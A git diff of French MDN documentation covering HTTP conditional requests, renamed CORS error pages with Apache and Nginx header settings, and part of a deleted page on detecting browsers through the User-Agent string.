  • Pour une méthode {{glossary("safe")}} comme {{HTTPMethod("GET")}}, qui, habituellement va chercher un document, la requête conditionnelle peut renvoyer le document si c'est pertinent seulement. Cela économise de la bande passante.
    • +
  • Pour les méthodes {{glossary("safe", "unsafe")}} comme {HTTPMethod("PUT")}}, qui charge habituellement un document, la requête conditionnelle peut servir à charger le document, uniquement si l'original sur lequel la requête est basée est le même que celui stocké sur le serveur.
    • +
+ +

Validateurs

+ +

Toutes les en-têtes conditionnelles vérifient si la ressource stockée sur le serveur correspond à une version spécifique. Pour accomplir ceci, la requête conditionnelle doit préciser la version de la ressource car comparer l'ensemble bit à bit n'est pas faisable et pas toujours désiré non plus. La requête transmet une valeur qui caractérise la version. Ces valeurs sont appelées validateurs et il y en a de deux sortes :

+ +
    +
  • La date de dernière modification du document, la dernière date modifiée.
    • +
  • une chaîne de caractére sans signification particulière identifiant uniquement chaque version. On l'appelle "étiquette d'entité" ou "etag".
    • +
+ +

Comparer les versions d'une même ressource est un peu délicat : en fonction du contexte, il y a deux sortes de vérification d'équivalence :

+ +
    +
  • Une validation forte est utilisée quand une vérification bit à bit est demandé, par exemple pour reprendre un téléchargement.
    • +
  • Une validation faible est utilisée quand l'agent-utilisateur doit seulement déterminer si deux ressources ont le même contenu. Ils sont égaux même s'ils ont des différences minimes comme des publicités différentes ou un pied de page (footer) avec une date différente.
    • +
+ +

La sorte de la vérification est indépendante du validateur utilisé.  {{HTTPHeader("Last-Modified")}} et {{HTTPHeader("ETag")}}  permettent les deux tupes de validation bien que la complexité d'implémentation côté serveur soit variable.  HTTP se sert de la validation forte par défaut et spécifie quand la validation faible peut être employée.

+ +

Validation forte

+ +

La validation forte consiste à garantir que la ressource est identique à celle à laquelle elle est comparée, au bit prés. C'est obligatoire pour certaines en-têtes et le défaut pour les autres. La validation forte est stricte et peut être difficile à garantir côté serveur mais cela garantit qu'à aucun moment une donnée n'est perdu, parfois au détriment de la performance.

+ +

Il est assez difficile d'avoir un identifiant unique pour la validation forte avec {{HTTPHeader("Last-Modified")}}. On le fait souvent en employant une {{HTTPHeader("ETag")}} avec le hachage MD5 de la ressource(ou un dérivé).

+ +

Validation faible

+ +

La validation faible différe de la validation forte car elle considère que deux versions du document ayant le même contenu sont équivalentes. Par exemple, une page qui différerait d'une autre seulement par sa date dans le pied de page ou une publicité, sera considérée identique à l'autre avec la validation faible. Ces mêmes deux versions seront évaluées comme étant différentes avec la validation forte. Construire un système d'ETags pour la validation faible peut être complexe car cela induit de connaître l'importance des différents éléments de la page mais est trés utile dans le but d'optimiser les performances du cache.

+ +

En-têtes conditionnelles

+ +

Plusieurs en-têtes HTTP, appelées en-têtes conditionelles, apportent des conditions aux reques. Ce sont :

+ +
+
{{HTTPHeader("If-Match")}}
+
Succés si la {{HTTPHeader("ETag")}} de la ressource distante est égale à une de celles listées dans cette en-tête. Par défaut, à moins que l'etag soit préfixée 'W/', c'est une validation forte. it performs a strong validation.
+
{{HTTPHeader("If-None-Match")}}
+
Succés si la {{HTTPHeader("ETag")}} de la ressource distante est différente de toutes celles listées dans l'en-tête. Par défaut, à moins que l'etag soit préfixée 'W/', c'est une validation forte.
+
{{HTTPHeader("If-Modified-Since")}}
+
Succés si la date {{HTTPHeader("Last-Modified")}} de la ressource distante est plus récente que celle donnée dans l'en-tête.
+
+
{{HTTPHeader("If-Unmodified-Since")}}
+
Succés si la date {{HTTPHeader("Last-Modified")}} de la ressource distante est plus ancienne ou égale à celle donnée dans l'en-tête.
+
{{HTTPHeader("If-Range")}}
+
Similaire à {{HTTPHeader("If-Match")}}, ou {{HTTPHeader("If-Unmodified-Since")}}, mais peut n'avoir qu'une seule etag, ou une date. Si ça ne colle pas, la requête est rejetée et à la place d'un statut de réponse {{HTTPStatus("206")}} Partial Content , un {{HTTPStatus("200")}} OK est envoyé avec la totlité de la ressource.
+
+ +

Cas d'utilisation

+ +

Mise à jour du Cache

+ +

Le cas d'utilisation le plus commun pour les requêtes conditionnelles est la mise à jour du cache. Avec un cache vide ou absent, la ressource demandée est renvoyée avec un statut {{HTTPStatus("200")}} OK.

+ +

The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled.

+ +

Dans la ressource les validateurs sont renvoyés dans les en-têtes. Dans cet exemple, deux validateurs {{HTTPHeader("Last-Modified")}} et  {{HTTPHeader("ETag")}} sont envoyés mais il pourrait tout aussi bien n'y en avoir qu'un. Ces validateurs sont en cache avec la ressource (comme toutes les en-têtes) et seront utilisés pour embarquer les requêtes conditionnelles quand le cache est périmé.

+ +

Tant que le cache n'est pas obsolète, aucune requête n'esst publiée. Mais une fois qu'il est dépassé, il est principalement contrôlé par l'en-tête {{HTTPHeader("Cache-Control")}} , le client n'utilise pas directement la valeur en cache mais publie une requête conditionnelle. La valeur du validateur est employé comme paramètre des en-têtes {{HTTPHeader("If-Modified-Since")}} et {{HTTPHeader("If-Match")}}.

+ +

Si la ressource n'a pas changé, le serveur renvoie une réponse {{HTTPStatus("304")}} Not Modified. Cela rafraîchit le cache et le client peut se servir de la valeur en cache. Bien qu'il y ait un aller-retour requête-réponse qui consomme quelques ressources, cette méthode est plus efficace que de transmettre à nouveau la totalité de la ressource via le réseau.

+ +

With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same.

+ +

Si la ressource n'a pas changée, le serveur renvoie juste une réponse  {{HTTPStatus("200")}} OK avec la nouvelle version de la ressource comme si la requête n'était pas conditionnelle et le client utilise cette nouvelle ressource et la met en cache.

+ +

In the case where the resource was changed, it is sent back as if the request wasn't conditional.

+ +

De plus, la configuration des validateurs côté serveur est totalement transparente : tous les navigateurs gèrent un cache et envoient de telles requêtes conditionnelles sans que cela ne nécessite de travail supplémentaire de la part du développeur.

+ +

Intégrité d'un téléchargement partiel

+ +

Un téléchargement partiel de fichiers est une fonctionnalité de HTTP qui permet de reprendre des opérations en cours en économisant de la bande passante et du temps en conservant les données déjà reçues :

+ +

A download has been stopped and only partial content has been retrieved.

+ +

Un serveur qui supporte le téléchargement partiel le diffuse en envoyant une en-tête {{HTTPHeader("Accept-Ranges")}}. Quand il la reçoit, le client peut reprendre le téléchargement en envoyant une en-tête de requête {{HTTPHeader("Ranges")}} avec les données manquantes :

+ +

The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request.

+ +

Le principe est simple mais il y a un problème potentiel : si la ressource téléchargée a été modifiée entre deux téléchargements, les données reçues correspondront à deux versions différentes de la ressource et le fichier final sera corrompu. Pour prévenir cela, des en-têtes conditionnelles sont employées.  Il y a deux manières de faire : la plus flexible se sert de {{HTTPHeader("If-Modified-Since")}} et de  {{HTTPHeader("If-Match")}}, le serveur retourne alors une erreur si la "pré-condition" n'est pas satisfaite et le client reprend le téléchargement depuis le début :

+ +

When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely.

+ +

Même si cette méthode marche, elle ajoute un échange requête/réponse quand le document a été modifié. Cela impacte la performance et HTTP a prévu une en-tête spécifique pour éviter ce scénario : {{HTTPHeader("If-Range")}}:

+ +

The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download.

+ +

Cette solution est plus efficace mais légèrement moins flexible puisqu' une etag seulement peut être utilisée dans la condition. On a rarement besoin d'une telle flexibilité additionnelle.

+ +

Èviter les problèmes de perte de mise à jour avec le "verrouillage optimiste"

+ +

Une opération commune des applications web est la mise à jour de document distants. C'est trés usuel dans tout système de fichiers ou dans les applications de contrôle de source et toute application qui permet de stocker des ressources distantes a besoin de ce mécanisme. Les sites comme les wikis et autres CMS s'en servent habituellement.

+ +

Vous pouvez l'implémenter avec la méthode {{HTTPMethod("PUT")}}. Le client lit d'abord les fichiers originaux, les modifie et finalement, les envoie au serveur.

+ +

Updating a file with a PUT is very simple when concurrency is not involved.

+ +

Cependant, les choses deviennent un peu moins précises dés que l'on parle de simultanéité des comptes. Pendant qu'un client est en train de modifier  localement sa nouvelle copie de la ressource, un second client peut récupérer la même ressource et faire de même avec sa copie. Ce qui arrive ensuite est regrettable : quand ils enregistrent les modifications sur le serveur, celles du premier client sont écartées par l'enregistrement du second client qui n'est pas au courant des changements effectués sur la ressource par le premier client. Le choix qui est fait n'est pas communiqué aux autres protagonistes. Les changements adoptés changeront avec la vitesse d'enregistrement, ce qui dépend de la performance des clients, des serveurs et même de l'humain qui édite le document sur le client. Le "gagnant" changera d'une fois à l'autre. C'est donc une "course des conditions" ({{glossary("race condition")}}) qui conduit à des comportements problématiques difficiles à cerner et à débugger.

+ +

When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!

+ +

Il n'existe aucune manière de gérer ce problème sans ennuyer l'un ou l'autre client. De toutes façons, les mises à jour perdues et la "course des conditions" sont appelées à disparaître. Nous voulons des résultats prévisibles et être notifiés quand les changements sont rejetés.

+ +

Les requêtes conditionnelles permettent d'implémenter l'algorithme de contrôle de concurrence (optimistic locking algorithm) utilisé par la plupart des wikis ou systèmes de contrôle des sources. Le concept est de permettre au client d'avoir des copies de la ressource, les laisser se modifier localement puis de contrôler la mise en concurrence en autorisant celles du premier client soumettant une mise à jour. Toutes les mises à jour ultèrieures basées sur la version maintenant obsolète sont rejetées :

+ +

Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error.

+ +

Ce ci est implémenté par les en-têtes {{HTTPHeader("If-Match")}} ou {{HTTPHeader("If-Unmodified-Since")}} . Si l'etag ne correspond pas au fichier original ou si le fichier a été modifié depuis son obtention, le changement est alors simplement rejeté avec une erreur {{HTTPStatus("412")}} Precondition Failed. C'est maintenant à l'initiative du client que se réglera l'erreur : soit en prévenant le client de redémarrer avec la nouvelle version, soit en présentant au client les différences entre les deux versions pour l'aider à choisir les modifications à conserver.

+ +

Gérer le premier téléchargement d'une ressource

+ +

Le premier téléchargement d'une ressource est un des cas résultant du comportement précédent. Comme toute mise à jour d'une ressource, le téléchargement va faire l'objet d'une "course des conditions" si deux clients essaient un enregistrement au même instant. Pour éviter cela, les en-têtes conditionnelles peuvent être employées : on ajoute {{HTTPHeader("If-None-Match")}} avec la valeur particulière '*', représentant n'importe quelle etag. La requête aboutira seulement si la ressource n'existait pas avant :

+ +

Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it.

+ +

If-None-Match fonctionnera seulement avec les serveurs compatibles HTTP/1.1 (et postérieur). Si vous n'êtes pas sûr que le serveur le soit, vous devez d'abord envoyer une requête {{HTTPMethod("HEAD")}} à la ressource pour vérifier.

+ +

Conclusion

+ +

Les requêtes conditionnelles sont une fonctionnalité essentielle d'HTTP et permettent la construction d'applications efficaces et complexes. Pour le cache et la reprise des téléchargements, la seule obligation du webmaster est de configurer le serveur correctement, en paramètrant les bonnes etags : dans certains environnements, c'est un véritable défi. Une fois cela fait, le serveur renverra les requêtes conditionnelles adaptées.

+ +

Pour verrouiller ces dispositifs, c'est l'inverse : les développeurs web devront publier une requête avec les en-têtes appropriées tandis que les webmasters peuvent en général se fier à l'application pour effectuer ces vérifications.

+ +

Dans les deux cas, c'est clair, les requêtes conditionnelles sont une des fonctionnalités essentielles du Web.

diff --git a/files/fr/web/http/cors/errors/corsalloworiginmanquant/index.html b/files/fr/web/http/cors/errors/corsalloworiginmanquant/index.html deleted file mode 100644 index d18a0d1565..0000000000 --- a/files/fr/web/http/cors/errors/corsalloworiginmanquant/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: 'Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant.' -slug: Web/HTTP/CORS/Errors/CORSAllowOriginManquant -translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin ---- -
{{HTTPSidebar}}
- -

Symptomes

- -
 Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant.
- -

Quel est le problème ?

- -

La réponse à la requête {{Glossary("CORS")}} ne contient pas l'en-tête requis {{HTTPHeader("Access-Control-Allow-Origin")}}, dont la fonction est de déterminer si le domaine à l'origine de la requête est autorisé à accéder à cette ressource.

- -

Si vous avez le contrôle du serveur, vous pouvez ajouter l'origine de la requête à la liste des domaines autorisés à accéder aux ressources du serveur en l'ajoutant aux valeurs de l'en-tête Access-Control-Allow-Origin.

- -

Par exemple, pour autoriser le site https://amazing.site à accéder aux resources avec CORS, le header doit être comme suit :

- -
Access-Control-Allow-Origin: https://amazing.site
- -

Vous pouvez aussi configurer le serveur pour autoriser tous les domaines à accéder aux ressources avec le caractère générique *. Ceci ne devrait être utilisé que pour des APIs publiques. Les APIs privées ne devraient jamais utiliser *, et devraient à la place utiliser un domaine ou un ensemble de domaines. De plus, l'astérisque ne fonctionne que pour les requêtes avec l'attribut {{htmlattrxref("crossorigin")}} ayant comme valeur anonymous.

- -
Access-Control-Allow-Origin: *
- -
-

Attention: Autoriser n'importe quel site à accéder à une API privée est une mauvaise idée.

-
- -

Pour autoriser n'importe quel site à faire des requêtes CORS sans utiliser le caractère générique * (par exemple, pour fournir des authentifiants), votre serveur doit lire la valeur de l'entête Origin de la requête et l'utiliser dans Access-Control-Allow-Origin, tout en ajoutant une entête Vary: Origin pour indiquer que certaines entêtes sont définies dynamiquement selon leur origine.

- -

L'instruction exacte pour définir les entêtes dépend de votre serveur Web. Par exemple, avec Apache, ajouter (dans la section <Directory>, <Location>, <Files>, ou <VirtualHost> appropriée) la ligne ci-dessous au fichier de configuration. Le fichier de configuration est en général un .conf (httpd.conf et apache.conf sont les noms les plus communs) ou un fichier nommé .htaccess.

- -
Header set Access-Control-Allow-Origin 'origin-list'
- -

Avec Nginx, la commande pour créer l'en-tête est :

- -
add_header 'Access-Control-Allow-Origin' 'origin-list'
- - - -

Voir aussi

- - diff --git a/files/fr/web/http/cors/errors/corsalloworiginnecorrespondpas/index.html b/files/fr/web/http/cors/errors/corsalloworiginnecorrespondpas/index.html deleted file mode 100644 index fcaedad211..0000000000 --- a/files/fr/web/http/cors/errors/corsalloworiginnecorrespondpas/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: >- - Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « - xyz » -slug: Web/HTTP/CORS/Errors/CORSAllowOriginNeCorrespondPas -tags: - - CORSAllowOriginNeCorrespondPas - - Dépannage - - Erreur - - Raison - - Sécurité -translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin ---- -
{{HTTPSidebar}}
- -

Symptomes

- -
Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « xyz »
- -

Quel est le problème ?

- -

En clair, l'origine de la demande ne correspond à aucune des origines autorisées par l'en-tête {{HTTPHeader("Access-Control-Allow-Origin")}}.

- -

Cette erreur peut également se produire si la réponse contient plus d'un en-tête Access-Control-Allow-Origin.

- -

Si vous contrôlez le serveur auquel votre code accède via une requête CORS, assurez-vous qu'il est configuré pour mentionner votre origine dans son entête Access-Control-Allow-Origin, avec un seul entête de ce type dans les réponses. Cet en-tête accepte une liste d'origines délimitée par des virgules, de sorte que l'ajout d'une nouvelle origine n'est pas difficile.

- -

Par exemple, dans Apache, ajoutez une ligne comme celle qui suit à la configuration du serveur (dans la section appropriée <Directory>, <Location>, <Files>, ou <VirtualHost>). La configuration se trouve généralement dans un fichier .conf (httpd.conf et apache.conf sont des noms couramment attribués à ces fichiers), ou dans un fichier .htaccess.

- -
Header set Access-Control-Allow-Origin 'origin-list'
- -

Pour Nginx, la commande pour mettre en place cet entête est :

- -
add_header 'Access-Control-Allow-Origin' 'origin-list'
- -

Voir aussi

- - diff --git a/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html b/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html new file mode 100644 index 0000000000..fcaedad211 --- /dev/null +++ b/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html @@ -0,0 +1,42 @@ +--- +title: >- + Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « + xyz » +slug: Web/HTTP/CORS/Errors/CORSAllowOriginNeCorrespondPas +tags: + - CORSAllowOriginNeCorrespondPas + - Dépannage + - Erreur + - Raison + - Sécurité +translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin +--- +
{{HTTPSidebar}}
+ +

Symptomes

+ +
Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « xyz »
+ +

Quel est le problème ?

+ +

En clair, l'origine de la demande ne correspond à aucune des origines autorisées par l'en-tête {{HTTPHeader("Access-Control-Allow-Origin")}}.

+ +

Cette erreur peut également se produire si la réponse contient plus d'un en-tête Access-Control-Allow-Origin.

+ +

Si vous contrôlez le serveur auquel votre code accède via une requête CORS, assurez-vous qu'il est configuré pour mentionner votre origine dans son entête Access-Control-Allow-Origin, avec un seul entête de ce type dans les réponses. Cet en-tête accepte une liste d'origines délimitée par des virgules, de sorte que l'ajout d'une nouvelle origine n'est pas difficile.

+ +

Par exemple, dans Apache, ajoutez une ligne comme celle qui suit à la configuration du serveur (dans la section appropriée <Directory>, <Location>, <Files>, ou <VirtualHost>). La configuration se trouve généralement dans un fichier .conf (httpd.conf et apache.conf sont des noms couramment attribués à ces fichiers), ou dans un fichier .htaccess.

+ +
Header set Access-Control-Allow-Origin 'origin-list'
+ +

Pour Nginx, la commande pour mettre en place cet entête est :

+ +
add_header 'Access-Control-Allow-Origin' 'origin-list'
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/cors/errors/corsdesactive/index.html b/files/fr/web/http/cors/errors/corsdesactive/index.html deleted file mode 100644 index d24896db89..0000000000 --- a/files/fr/web/http/cors/errors/corsdesactive/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: 'Raison: CORS désactiver' -slug: Web/HTTP/CORS/Errors/CORSDesactive -tags: - - CORS - - Erreurs - - HTTP - - HTTPS -translation_of: Web/HTTP/CORS/Errors/CORSDisabled ---- -
{{HTTPSidebar}}
- -

Raison

- -
Reason: CORS disabled
-(Raison : CORS désactivé)
- -

Quel est le problème ?

- -

Une requête HTTP nécessitant le {{Glossary("CORS")}} a été tentée, mais le CORS est désactivé sur le navigateur de l'utilisateur. Lorsque cela se produit, l'utilisateur doit réactiver CORS dans le navigateur.

- -

Pour Firefox, la préférence qui désactive le CORS est content.cors.disable. Définir cette préférence avec true désactive le CORS. Ainsi, dans ce cas, les demandes CORS échoueront toujours avec cette erreur.

- -

Voir aussi

- - diff --git a/files/fr/web/http/cors/errors/corsdidnotsucceed/index.html b/files/fr/web/http/cors/errors/corsdidnotsucceed/index.html new file mode 100644 index 0000000000..72a1788f81 --- /dev/null +++ b/files/fr/web/http/cors/errors/corsdidnotsucceed/index.html @@ -0,0 +1,34 @@ +--- +title: 'Raison: la requête CORS a échoué' +slug: Web/HTTP/CORS/Errors/CORSNAPasRéussi +tags: + - CORS + - CORSDidNotSucceed + - Cross-Origin + - Erreur + - HTTP + - HTTPS + - Messages + - Raisons + - Sécurité + - console + - troubleshooting +translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed +--- +
{{HTTPSidebar}}
+ +

Raison

+ +
Raison: la requête CORS a échoué
+ +

Qu'est ce qui ne s'est pas bien passé ?

+ +

La requête {{Glossary("HTTP")}} qui utilise le CORS a échoué à cause de la connection HTTP qui n'a pas aboutie soit au niveau du réseau, soit du protocole. L'erreur n'est pas directement lié au CORS, mais est une quelconque erreur réseau de base.

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/cors/errors/corsdisabled/index.html b/files/fr/web/http/cors/errors/corsdisabled/index.html new file mode 100644 index 0000000000..d24896db89 --- /dev/null +++ b/files/fr/web/http/cors/errors/corsdisabled/index.html @@ -0,0 +1,30 @@ +--- +title: 'Raison: CORS désactiver' +slug: Web/HTTP/CORS/Errors/CORSDesactive +tags: + - CORS + - Erreurs + - HTTP + - HTTPS +translation_of: Web/HTTP/CORS/Errors/CORSDisabled +--- +
{{HTTPSidebar}}
+ +

Raison

+ +
Reason: CORS disabled
+(Raison : CORS désactivé)
+ +

Quel est le problème ?

+ +

Une requête HTTP nécessitant le {{Glossary("CORS")}} a été tentée, mais le CORS est désactivé sur le navigateur de l'utilisateur. Lorsque cela se produit, l'utilisateur doit réactiver CORS dans le navigateur.

+ +

Pour Firefox, la préférence qui désactive le CORS est content.cors.disable. Définir cette préférence avec true désactive le CORS. Ainsi, dans ce cas, les demandes CORS échoueront toujours avec cette erreur.

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/cors/errors/corsmissingalloworigin/index.html b/files/fr/web/http/cors/errors/corsmissingalloworigin/index.html new file mode 100644 index 0000000000..d18a0d1565 --- /dev/null +++ b/files/fr/web/http/cors/errors/corsmissingalloworigin/index.html @@ -0,0 +1,48 @@ +--- +title: 'Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant.' +slug: Web/HTTP/CORS/Errors/CORSAllowOriginManquant +translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +--- +
{{HTTPSidebar}}
+ +

Symptomes

+ +
 Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant.
+ +

Quel est le problème ?

+ +

La réponse à la requête {{Glossary("CORS")}} ne contient pas l'en-tête requis {{HTTPHeader("Access-Control-Allow-Origin")}}, dont la fonction est de déterminer si le domaine à l'origine de la requête est autorisé à accéder à cette ressource.

+ +

Si vous avez le contrôle du serveur, vous pouvez ajouter l'origine de la requête à la liste des domaines autorisés à accéder aux ressources du serveur en l'ajoutant aux valeurs de l'en-tête Access-Control-Allow-Origin.

+ +

Par exemple, pour autoriser le site https://amazing.site à accéder aux resources avec CORS, le header doit être comme suit :

+ +
Access-Control-Allow-Origin: https://amazing.site
+ +

Vous pouvez aussi configurer le serveur pour autoriser tous les domaines à accéder aux ressources avec le caractère générique *. Ceci ne devrait être utilisé que pour des APIs publiques. Les APIs privées ne devraient jamais utiliser *, et devraient à la place utiliser un domaine ou un ensemble de domaines. De plus, l'astérisque ne fonctionne que pour les requêtes avec l'attribut {{htmlattrxref("crossorigin")}} ayant comme valeur anonymous.

+ +
Access-Control-Allow-Origin: *
+ +
+

Attention: Autoriser n'importe quel site à accéder à une API privée est une mauvaise idée.

+
+ +

Pour autoriser n'importe quel site à faire des requêtes CORS sans utiliser le caractère générique * (par exemple, pour fournir des authentifiants), votre serveur doit lire la valeur de l'entête Origin de la requête et l'utiliser dans Access-Control-Allow-Origin, tout en ajoutant une entête Vary: Origin pour indiquer que certaines entêtes sont définies dynamiquement selon leur origine.

+ +

L'instruction exacte pour définir les entêtes dépend de votre serveur Web. Par exemple, avec Apache, ajouter (dans la section <Directory>, <Location>, <Files>, ou <VirtualHost> appropriée) la ligne ci-dessous au fichier de configuration. Le fichier de configuration est en général un .conf (httpd.conf et apache.conf sont les noms les plus communs) ou un fichier nommé .htaccess.

+ +
Header set Access-Control-Allow-Origin 'origin-list'
+ +

Avec Nginx, la commande pour créer l'en-tête est :

+ +
add_header 'Access-Control-Allow-Origin' 'origin-list'
+ + + +

Voir aussi

+ + diff --git "a/files/fr/web/http/cors/errors/corsnapasr\303\251ussi/index.html" "b/files/fr/web/http/cors/errors/corsnapasr\303\251ussi/index.html" deleted file mode 100644 index 72a1788f81..0000000000 --- "a/files/fr/web/http/cors/errors/corsnapasr\303\251ussi/index.html" +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: 'Raison: la requête CORS a échoué' -slug: Web/HTTP/CORS/Errors/CORSNAPasRéussi -tags: - - CORS - - CORSDidNotSucceed - - Cross-Origin - - Erreur - - HTTP - - HTTPS - - Messages - - Raisons - - Sécurité - - console - - troubleshooting -translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed ---- -
{{HTTPSidebar}}
- -

Raison

- -
Raison: la requête CORS a échoué
- -

Qu'est ce qui ne s'est pas bien passé ?

- -

La requête {{Glossary("HTTP")}} qui utilise le CORS a échoué à cause de la connection HTTP qui n'a pas aboutie soit au niveau du réseau, soit du protocole. L'erreur n'est pas directement lié au CORS, mais est une quelconque erreur réseau de base.

- -

Voir aussi

- - diff --git a/files/fr/web/http/detection_du_navigateur_en_utilisant_le_user_agent/index.html b/files/fr/web/http/detection_du_navigateur_en_utilisant_le_user_agent/index.html deleted file mode 100644 index bd7a98de65..0000000000 --- a/files/fr/web/http/detection_du_navigateur_en_utilisant_le_user_agent/index.html +++ /dev/null @@ -1,239 +0,0 @@ ---- -title: Détection du navigateur à l'aide du User-Agent -slug: Web/HTTP/Detection_du_navigateur_en_utilisant_le_user_agent -tags: - - Compatibilité - - Développement Web -translation_of: Web/HTTP/Browser_detection_using_the_user_agent ---- -
{{HTTPSidebar}}
- -

Afficher des pages web ou des services en fonction du navigateur est généralement une mauvaise idée. Le Web se doit d'être accessible à tout le monde, sans prendre en compte le navigateur ou l'appareil utilisé. Il existe différentes façons de développer votre site web afin de l'améliorer progressivement en se basant sur des fonctionnalités standard plutôt qu'en traitant chaque navigateur de manière spécifique.

- -

Les navigateurs et les standards ne sont cependant pas parfaits, il reste certains cas limites pour lesquels connaître le navigateur utilisé peut s'avérer utile. Utiliser le User-Agent dans ce but paraît simple mais le faire de manière fiable est en réalité très difficile. Ce document va vous guider pour lire le User-Agent aussi précisément que possible.

- -
-

Il est important de rappeler que contrôler le contenu du User-Agent est rarement une bonne idée. Il est presque toujours possible de trouver une solution plus générique et compatible avec un plus grand nombre de navigateurs et d'appareils !

-
- -

A prendre en compte avant d'identifier le navigateur

- -

Lorsque vous cherchez à contrôler le contenu de la chaîne de caractères User-Agent pour détecter le navigateur utilisé, la première étape consiste à éviter cette méthode autant que possible. Commencez par identifier pourquoi vous souhaitez le faire.

- -
-
Êtes-vous en train d'essayer de corriger un bug pour une version spécifique d'un navigateur ?
-
Recherchez ou demandez sur les forums spécialisés : vous n'êtes certainement pas le premier à rencontrer le problème. Des experts ou d'autres personnes avec un point de vue différent peuvent vous donner des idées pour contourner le problème. Si le bug n'est pas fréquent, il peut être utile de vérifier s'il a déjà été signalé au fournisseur du navigateur dans son système de suivi des bugs (Mozilla, WebKit, Opera). Les fournisseurs sont attentifs aux bugs signalés, leur analyse du problème peut apporter un éclairage nouveau permettant de contourner le bug.
-
Cherchez-vous à vérifier l'existence d'une fonctionnalité particulière ?
-
Votre site a besoin d'une fonctionnalité qui n'est pas encore supportée par certains navigateurs et vous souhaitez servir à leurs utilisateurs une version plus ancienne du site, avec moins de fonctionnalités mais dont vous êtes certain qu'elle va fonctionner. Il s'agit de la pire raison de détecter le User-Agent car il y a de grandes chances que ces navigateurs finissent par rattraper leur retard. Dans ce cas, le mieux est d'éviter de recourir au User-Agent et de détecter les fonctionnalités disponibles.
-
- -
-
Voulez-vous servir un code HTML différent selon le navigateur utilisé ?
-
Il s'agit généralement d'une mauvaise pratique mais nécessaire dans certains cas. Vous devez alors analyser la situation pour vous assurer que c'est absolument nécessaire. Pouvez-vous l'éviter en ajoutant des éléments non sémantiques tels que {{ HTMLElement("div") }} ou {{ HTMLElement("span") }} ? La difficulté à détecter le User-Agent justifie des exceptions à la pureté du code HTML. Vous pouvez aussi repenser le design : pouvez-vous plutôt utiliser l'amélioration progressives ou utiliser une grille fluide pour éviter d'avoir recours au User-Agent ?
-
- -

Éviter de détecter l'agent utilisateur

- -

Il existe des options possibles à considérer pour éviter d'avoir à détecter l'agent utilisateur.

- -
-
Détection de fonctionnalités
-
La détection de fonctionnalités consiste à ne pas détecter quel navigateur affiche la page mais plutôt à vérifier qu'une fonctionnalité est disponible. Dans le cas contraire vous pouvez utiliser une solution de contournement. Cependant, n'utilisez pas la détection de fonctionnalité dans les rares cas où la détection de l'agent utilisateur est utile car les autres navigateurs pourraient dans le futur implémenter la fonctionnalité manquante d'une manière différente. Il pourrait en résulter des bugs particulièrement difficiles à détecter et à corriger.
-
Amélioration progressive
-
Cette technique de design signifie séparer la page web en couches, en utilisant une approche ascendante (ou bottom-up), en commençant par une couche simple (avec peu ou pas de fonctionnalités) puis en améliorant les capacités par couches successives, chacune comportant plus de fonctionnalités.
-
Dégradation élégante
-
Il s'agit d'une approche descendante (ou top-down), avec laquelle on construit le site avec toutes les fonctionalités souhaitées, pour ensuite le faire fonctionner sur des navigateurs plus anciens. Cette technique est plus difficile et moins efficace que l'amélioration progressive mais s'avère utile dans certains cas.
-
- -

Où se trouve l'information recherchée dans le User-Agent

- -

C'est la partie difficile, puisque les différentes sections de la chaîne User-Agent ne sont pas standardisées.

- -

Nom du navigateur

- -

Souvent ceux qui disent vouloir détecter le navigateur veulent en fait détecter le moteur de rendu. Souhaitez-vous détecter Firefox et non Seamonkey, ou Chrome et non Chromium ? Ou seulement savoir si le navigateur utilise le moteur de rendu Gecko ou Webkit ? Dans ce dernier cas, réferrez vous plus bas dans cette page.

- -

La plupart des navigateurs notent leur nom et version suivant le format NomDuNavigateur/NuméroDeVersion, à l'exception notable d'Internet Explorer. Le nom n'est cependant pas la seule information du User-Agent qui respecte ce format, il n'est donc pas possible d'y trouver directement le nom du navigateur, seulement de vérifier si le nom recherché est présent ou non. Attention certains navigateurs mentent : par exemple, Chrome mentionne à la fois Chrome et Safari dans le User-Agent. Pour détecter Safari il faut donc vérifier que la chaîne "Safari" est présente et "Chrome" est absent. De la même façon, Chromium se présente souvent comme Chrome et Seamonkey comme Firefox.

- -

Faites aussi attention à ne pas utiliser une expression régulière trop simple sur le nom du navigateur car le User-Agent contient d'autres chaînes de caractères ne respectant pas le format clé/valeur. Par exemple, le User-Agent de Safari et Chrome contient une chaîne "like Gecko".

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Doit contenirNe doit pas contenir 
FirefoxFirefox/xyzSeamonkey/xyz 
SeamonkeySeamonkey/xyz  
